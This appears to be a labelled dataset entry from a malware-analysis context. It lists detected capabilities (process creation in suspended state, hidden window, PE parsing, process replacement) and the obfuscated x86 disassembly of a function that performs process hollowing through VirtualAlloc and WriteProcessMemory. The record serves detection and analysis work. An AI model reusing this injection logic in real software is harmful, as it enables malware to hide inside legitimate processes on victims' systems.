Function at 0x10002b00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x110
mov eax, dword [0x1008b800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x118], 0x5f36d9e8
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
sub eax, 0x806b0847
je 0x10008c4d
jmp 0x10002b3c
mov eax, dword [ebp - 0x11c]
sub eax, 0x80c46cd2
je 0x100081f0
jmp 0x10002b52
mov eax, dword [ebp - 0x11c]
sub eax, 0x82a90edd
je 0x100060e9
jmp 0x10002b68
mov eax, dword [ebp - 0x11c]
sub eax, 0x82fc47de
je 0x10006909
jmp 0x10002b7e
mov eax, dword [ebp - 0x11c]
sub eax, 0x837a8279
je 0x100064df
jmp 0x10002b94
mov eax, dword [ebp - 0x11c]
sub eax, 0x849c411b
je 0x100076b1
jmp 0x10002baa
mov eax, dword [ebp - 0x11c]
sub eax, 0x8555e1dd
je 0x10006356
jmp 0x10002bc0
mov eax, dword [ebp - 0x11c]
sub eax, 0x866165f1
je 0x10007bbf
jmp 0x10002bd6
mov eax, dword [ebp - 0x11c]
sub eax, 0x8730b0b8
je 0x1000aded
jmp 0x10002bec
mov eax, dword [ebp - 0x11c]
sub eax, 0x87319ecb
je 0x1000b1b5
jmp 0x10002c02
mov eax, dword [ebp - 0x11c]
sub eax, 0x88d579c5
je 0x10007813
jmp 0x10002c18
mov eax, dword [ebp - 0x11c]
sub eax, 0x8a571574
je 0x100087db
jmp 0x10002c2e
mov eax, dword [ebp - 0x11c]
sub eax, 0x8af745ad
je 0x1000562a
jmp 0x10002c44
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b098734
je 0x10009f7c
jmp 0x10002c5a
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b11d2cd
je 0x10008c6a
jmp 0x10002c70
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b1ea335
je 0x10009410
jmp 0x10002c86
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b2fa1ac
je 0x10007799
jmp 0x10002c9c
mov eax, dword [ebp - 0x11c]
sub eax, 0x8c122989
je 0x1000af15
jmp 0x10002cb2
mov eax, dword [ebp - 0x11c]
sub eax, 0x8c474fd0
je 0x1000ad41
jmp 0x10002cc8
mov eax, dword [ebp - 0x11c]
sub eax, 0x8e11c5c2
je 0x10008b0c
jmp 0x10002cde
mov eax, dword [ebp - 0x11c]
sub eax, 0x8e48e079
je 0x1000af62
jmp 0x10002cf4
mov eax, dword [ebp - 0x11c]
sub eax, 0x91adcb76
je 0x10008336
jmp 0x10002d0a
mov eax, dword [ebp - 0x11c]
sub eax, 0x91b4ba3b
je 0x1000b25f
jmp 0x10002d20
mov eax, dword [ebp - 0x11c]
sub eax, 0x92e86d8f
je 0x1000b079
jmp 0x10002d36
mov eax, dword [ebp - 0x11c]
sub eax, 0x92ecf01d
je 0x1000aa7b
jmp 0x10002d4c
mov eax, dword [ebp - 0x11c]
sub eax, 0x92ee7399
je 0x10005851
jmp 0x10002d62
mov eax, dword [ebp - 0x11c]
sub eax, 0x930a3b8e
je 0x10007eea
jmp 0x10002d78
mov eax, dword [ebp - 0x11c]
sub eax, 0x94a77258
je 0x10007a4a
jmp 0x10002d8e
mov eax, dword [ebp - 0x11c]
sub eax, 0x95e5da77
je 0x10007605
jmp 0x10002da4
mov eax, dword [ebp - 0x11c]
sub eax, 0x9696d181
je 0x10005c37
jmp 0x10002dba
mov eax, dword [ebp - 0x11c]
sub eax, 0x99e336c1
je 0x10008e34
jmp 0x10002dd0
mov eax, dword [ebp - 0x11c]
sub eax, 0x9aae6e0d
je 0x10008aef
jmp 0x10002de6
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b989da1
je 0x100097cb
jmp 0x10002dfc
mov eax, dword [ebp - 0x11c]
sub eax, 0x9c228772
je 0x10005414
jmp 0x10002e12
mov eax, dword [ebp - 0x11c]
sub eax, 0x9db283d6
je 0x1000a501
jmp 0x10002e28
mov eax, dword [ebp - 0x11c]
sub eax, 0x9f9121d6
je 0x10008c2e
jmp 0x10002e3e
mov eax, dword [ebp - 0x11c]
sub eax, 0xa10b2940
je 0x100086ee
jmp 0x10002e54
mov eax, dword [ebp - 0x11c]
sub eax, 0xa17798b6
je 0x100084e7
jmp 0x10002e6a
mov eax, dword [ebp - 0x11c]
sub eax, 0xa18edc71
je 0x10006b6d
jmp 0x10002e80
mov eax, dword [ebp - 0x11c]
sub eax, 0xa200a109
je 0x10008401
jmp 0x10002e96
mov eax, dword [ebp - 0x11c]
sub eax, 0xa27d5fcf
je 0x10005fe0
jmp 0x10002eac
mov eax, dword [ebp - 0x11c]
sub eax, 0xa2b0273a
je 0x10005bd7
jmp 0x10002ec2
mov eax, dword [ebp - 0x11c]
sub eax, 0xa4486cf1
je 0x1000abdf
jmp 0x10002ed8
mov eax, dword [ebp - 0x11c]
sub eax, 0xa47bd57f
je 0x1000a6d7
jmp 0x10002eee
mov eax, dword [ebp - 0x11c]
sub eax, 0xa4b43efe
je 0x1000a4f2
jmp 0x10002f04
mov eax, dword [ebp - 0x11c]
sub eax, 0xa52da9ce
je 0x1000773e
jmp 0x10002f1a
mov eax, dword [ebp - 0x11c]
sub eax, 0xa5eef9cc
je 0x1000ac2c
jmp 0x10002f30
mov eax, dword [ebp - 0x11c]
sub eax, 0xa672a677
je 0x1000a10e
jmp 0x10002f46
mov eax, dword [ebp - 0x11c]
sub eax, 0xa6d3c9a0
je 0x1000655c
jmp 0x10002f5c
mov eax, dword [ebp - 0x11c]
sub eax, 0xa6da99ab
je 0x10006861
jmp 0x10002f72
mov eax, dword [ebp - 0x11c]
sub eax, 0xa6ec75d7
je 0x10008128
jmp 0x10002f88
mov eax, dword [ebp - 0x11c]
sub eax, 0xa7f83fa9
je 0x1000963f
jmp 0x10002f9e
mov eax, dword [ebp - 0x11c]
sub eax, 0xa8f2f3b7
je 0x10006462
jmp 0x10002fb4
mov eax, dword [ebp - 0x11c]
sub eax, 0xa9888075
je 0x1000ae6a
jmp 0x10002fca
mov eax, dword [ebp - 0x11c]
sub eax, 0xaa1133c2
je 0x10005b3d
jmp 0x10002fe0
mov eax, dword [ebp - 0x11c]
sub eax, 0xaa179e8c
je 0x100070cf
jmp 0x10002ff6
mov eax, dword [ebp - 0x11c]
sub eax, 0xaa62d7b7
je 0x1000b10f
jmp 0x1000300c
mov eax, dword [ebp - 0x11c]
sub eax, 0xaaece7e2
je 0x10005b7b
jmp 0x10003022
mov eax, dword [ebp - 0x11c]
sub eax, 0xabc18d38
je 0x10009084
jmp 0x10003038
mov eax, dword [ebp - 0x11c]
sub eax, 0xabe37dc1
je 0x1000533e
jmp 0x1000304e
mov eax, dword [ebp - 0x11c]
sub eax, 0xac18fc10
je 0x10008a02
jmp 0x10003064
mov eax, dword [ebp - 0x11c]
sub eax, 0xac89c6b0
je 0x10005963
jmp 0x1000307a
mov eax, dword [ebp - 0x11c]
sub eax, 0xaca717cd
je 0x100067e1
jmp 0x10003090
mov eax, dword [ebp - 0x11c]
sub eax, 0xad2fdba5
je 0x1000964e
jmp 0x100030a6
mov eax, dword [ebp - 0x11c]
sub eax, 0xad41589a
je 0x10007437
mov eax, dword [0x1008cb28]
mov ecx, dword [0x1008cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2150db
mov ecx, 0xea6121d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0xdb3bbbe9
jmp 0x1000b3ab
movss xmm0, dword [0x10018390]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x118], 0xe35bda96
jmp 0x1000b3ab
movss xmm0, dword [0x10018388]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x118], 0x3cfaa5f6
jmp 0x1000b3ab
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
mov edx, ecx
add edx, 0x8459fca4
sub edx, 1
sub edx, 0x8459fca4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6aefeefb
mov ecx, 0xfa98d956
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0xce2b2c71
jmp 0x1000b3ab
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0xf0], xmm0
mov dl, 1
mov eax, 0x279aa6e7
mov ecx, 0xf3b27613
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0x279aa6e7
jmp 0x1000b3ab
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0xf0], xmm0
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
mov edx, ecx
add edx, 0x9440251a
sub edx, 1
sub edx, 0x9440251a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc37fd233
mov ecx, 0x590a60c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
mov edx, ecx
sub edx, 0x43f83b60
sub edx, 1
add edx, 0x43f83b60
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa305079
mov ecx, 0x206952b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
movss xmm0, dword [0x10018364]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018360]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x118], 0x501c18ed
jmp 0x1000b3ab
movss xmm0, dword [0x10018350]
movss dword [ebp - 0xf4], xmm0
mov dl, 1
mov eax, 0xa6d3c9a0
mov ecx, 0x27fc7816
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0x224692b0
jmp 0x1000b3ab
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfdeccfec
mov ecx, 0xc157be32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
movss xmm0, dword [0x1001834c]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x118], 0xdc3ac05b
jmp 0x1000b3ab
movss xmm0, dword [0x10018214]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x10018210]
movss dword [ebp - 0xf4], xmm0
mov eax, dword [0x1008cb28]
mov ecx, dword [0x1008cb24]
mov edx, eax
sub edx, 0x78a4dec3
sub edx, 1
add edx, 0x78a4dec3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa4486cf1
mov ecx, 0x20bb6ba0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0x1dcd8a17
jmp 0x1000b3ab
mov dl, 1
mov eax, 0x223a9426
mov ecx, 0x5d13d33c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0xb075d82f
jmp 0x1000b3ab
movss xmm0, dword [0x10018200]
movss dword [ebp - 0xf8], xmm0
mov eax, dword [0x1008cb28]
mov ecx, dword [0x1008cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff28475f
mov ecx, 0xdecde22d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dl, 1
mov eax, 0x1e6e4ffa
mov ecx, 0x78fb31a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0xfc], xmm0
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x75cf3db7
mov ecx, 0x5f289f63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dl, 1
mov eax, 0x8b2fa1ac
mov ecx, 0x219c5869
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
movss xmm0, dword [0x100182cc]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x118], 0x26b5b92
jmp 0x1000b3ab
mov eax, dword [0x1008cb28]
mov ecx, dword [0x1008cb24]
mov edx, eax
add edx, 0xd4373a03
sub edx, 1
sub edx, 0xd4373a03
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8c474fd0
mov ecx, 0xf1f059dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dl, 1
mov eax, 0xd735594e
mov ecx, 0x452f8332
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
movss xmm0, dword [0x100182b0]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x118], 0x6e953021
jmp 0x1000b3ab
movss xmm0, dword [0x1001828c]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x118], 0xae85b506
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0xfbc6fe9e
jmp 0x1000b3ab
mov eax, dword [0x1008cb28]
mov ecx, dword [0x1008cb24]
mov edx, eax
add edx, 0xa3d0976a
sub edx, 1
sub edx, 0xa3d0976a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe83079a2
mov ecx, 0x1a271eb1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
movss xmm0, dword [0x100181bc]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x1008cb28]
mov ecx, dword [0x1008cb24]
mov edx, eax
sub edx, 0x6b89b118
sub edx, 1
add edx, 0x6b89b118
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6c31239e
mov ecx, 0x5776d09c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a0ebd40
mov ecx, 0x7ad4256f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
movss xmm0, dword [0x10018270]
movss dword [ebp - 0x108], xmm0
mov dl, 1
mov eax, 0x350b684a
mov ecx, 0xec8976c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0x350b684a
jmp 0x1000b3ab
mov dl, 1
mov eax, 0xfdc21d57
mov ecx, 0x7035007a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0xcaa8f87d
jmp 0x1000b3ab
mov dl, 1
mov eax, 0x9f9121d6
mov ecx, 0x8e11c5c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
mov edx, ecx
sub edx, 0xb5809403
sub edx, 1
add edx, 0xb5809403
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbcec81ec
mov ecx, 0xbbd0f072
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
movss xmm0, dword [0x1001825c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x118], 0x806b0847
jmp 0x1000b3ab
mov dl, 1
mov eax, 0x3547b873
mov ecx, 0x8b11d2cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbee16ccf
mov ecx, 0xf97522da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0x3547b873
jmp 0x1000b3ab
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x118], 0x5f906f54
jmp 0x1000b3ab
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
mov edx, ecx
sub edx, 0x4075a079
sub edx, 1
add edx, 0x4075a079
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc4ebc5b9
mov ecx, 0xf988e29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0xad2fdba5
jmp 0x1000b3ab
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 0x14]
mov ecx, dword [ebp - 0x70]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov esi, dword [ebp - 0xb8]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
sub edx, 0xce5fa16b
add edx, eax
add edx, 0xce5fa16b
mov eax, dword [ebp - 0xe4]
mov esi, dword [eax]
mov eax, dword [ebp - 0x74]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb8]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100027e0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc8]
mov esi, dword [eax]
mov eax, dword [ebp - 0xb8]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xd62cab7f
mov ecx, 0x5775d7e5
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov eax, dword [0x1008cb28]
mov ecx, dword [0x1008cb24]
mov edx, eax
add edx, 0x9602ba3f
sub edx, 1
sub edx, 0x9602ba3f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x92e86d8f
mov ecx, 0xb8416f7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xef1d9595
mov ecx, 0x61cddf56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov ecx, dword [0x1008cb28]
mov eax, dword [0x1008cb24]
mov edx, ecx
add edx, 0xbcc8b77c
sub edx, 1
sub edx, 0xbcc8b77c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb06350de
mov ecx, 0xc596109
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0x9db283d6
jmp 0x1000b3ab
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
sub eax, 0x3307c268
add eax, 1
add eax, 0x3307c268
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x118], 0x98ddf14
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0xd3c8424a
jmp 0x1000b3ab
movss xmm0, dword [0x10018240]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x118], 0xea4f7dc4
jmp 0x1000b3ab
movss xmm0, dword [0x10018214]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x10018210]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x118], 0xaca717cd
jmp 0x1000b3ab
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x118], 0x58225c5c
jmp 0x1000b3ab
movss xmm0, dword [0x100181f0]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181e8]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x118], 0xf1f059dc
jmp 0x1000b3ab
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181d0]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x118], 0x5368660f
jmp 0x1000b3ab
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x118], 0x4f8f1bfa
jmp 0x1000b3ab
mov dword [ebp - 0x118], 0x7981faa9
jmp 0x1000b3ab
movss xmm0, dword [0x100181a0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x118], 0x4d07f9d6
jmp 0x1000b3ab
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
add ecx, eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xb8]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x7b366b9f
sub eax, edx
add eax, 0x7b366b9f
add ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x118], 0xb8416f7c
jmp 0x1000b3ab
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x118], 0xbd5fd9cf
jmp 0x1000b3ab
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x118], 0xeec01d64
jmp 0x1000b3ab
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x118], 0x34c424c7
jmp 0x1000b3ab
jmp 0x10002b20